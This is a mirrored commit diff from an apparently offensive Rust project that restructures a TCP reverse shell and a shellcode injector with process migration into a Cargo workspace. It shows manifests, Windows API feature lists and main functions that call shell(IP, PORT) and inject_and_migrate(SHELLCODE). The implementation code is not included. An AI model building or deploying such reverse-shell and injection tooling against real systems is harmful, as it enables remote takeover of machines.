mirror of
https://github.com/kmanc/remote_code_oxidation
synced 2026-06-08 15:21:46 +00:00
Refactor (#4)
* versioning change; H.M.L where H=breaking change, M=non-breaking change, L=bugfix * updating gitignore * project structure to workspaces
This commit is contained in:
+7
-1
@@ -1 +1,7 @@
|
||||
/target
|
||||
# Directories
|
||||
/target/
|
||||
.idea/
|
||||
|
||||
|
||||
# Files
|
||||
*.txt
|
||||
Generated
+9
-2
@@ -3,8 +3,15 @@
|
||||
version = 3
|
||||
|
||||
[[package]]
|
||||
name = "remote_code_oxidation"
|
||||
version = "0.1.2"
|
||||
name = "process_migration"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.0.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
+5
-23
@@ -1,24 +1,6 @@
|
||||
[package]
|
||||
name = "remote_code_oxidation"
|
||||
version = "0.1.2"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
[workspace]
|
||||
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
|
||||
[profile.release]
|
||||
lto = true
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||
|
||||
[[bin]]
|
||||
name = "reverse_shell"
|
||||
path = "src/basic_tcp_reverse_shell/rev_shell.rs"
|
||||
|
||||
[[bin]]
|
||||
name = "shellcode_injector_and_migrator"
|
||||
path = "src/shellcode_injector_and_migrator/inj_and_mig.rs"
|
||||
members = [
|
||||
"tcp_reverse_shell",
|
||||
"process_migration",
|
||||
]
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "process_migration"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Diagnostics_Debug", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Memory", "Win32_System_Threading"] }
|
||||
@@ -3,16 +3,16 @@ mod config;
|
||||
|
||||
// Load the appropriate operating system's implementation
|
||||
#[cfg(unix)]
|
||||
mod unix_im;
|
||||
mod rco_proc_mig_unix;
|
||||
#[cfg(unix)]
|
||||
use unix_im::inject_and_migrate;
|
||||
use rco_proc_mig_unix::inject_and_migrate;
|
||||
|
||||
#[cfg(windows)]
|
||||
extern crate windows;
|
||||
#[cfg(windows)]
|
||||
mod windows_im;
|
||||
mod rco_proc_mig_windows;
|
||||
#[cfg(windows)]
|
||||
use windows_im::inject_and_migrate;
|
||||
use rco_proc_mig_windows::inject_and_migrate;
|
||||
|
||||
fn main() {
|
||||
inject_and_migrate(config::SHELLCODE);
|
||||
@@ -0,0 +1,12 @@
|
||||
[package]
|
||||
name = "tcp_reverse_shell"
|
||||
version = "1.0.0"
|
||||
edition = "2021"
|
||||
authors = ["Kevin Conley <koins@duck.com>"]
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows = { version = "0.28.0", features = ["Win32_Foundation", "Win32_Security", "Win32_Networking_WinSock", "Win32_System_Threading"] }
|
||||
@@ -3,16 +3,16 @@ mod config;
|
||||
|
||||
// Load the appropriate operating system's implementation
|
||||
#[cfg(unix)]
|
||||
mod unix_rs;
|
||||
mod rco_rev_shell_unix;
|
||||
#[cfg(unix)]
|
||||
use unix_rs::shell;
|
||||
use rco_rev_shell_unix::shell;
|
||||
|
||||
#[cfg(windows)]
|
||||
extern crate windows;
|
||||
#[cfg(windows)]
|
||||
mod windows_rs;
|
||||
mod rco_rev_shell_windows;
|
||||
#[cfg(windows)]
|
||||
use windows_rs::shell;
|
||||
use rco_rev_shell_windows::shell;
|
||||
|
||||
fn main() {
|
||||
shell(config::IP, config::PORT);
|
||||
Reference in New Issue
Block a user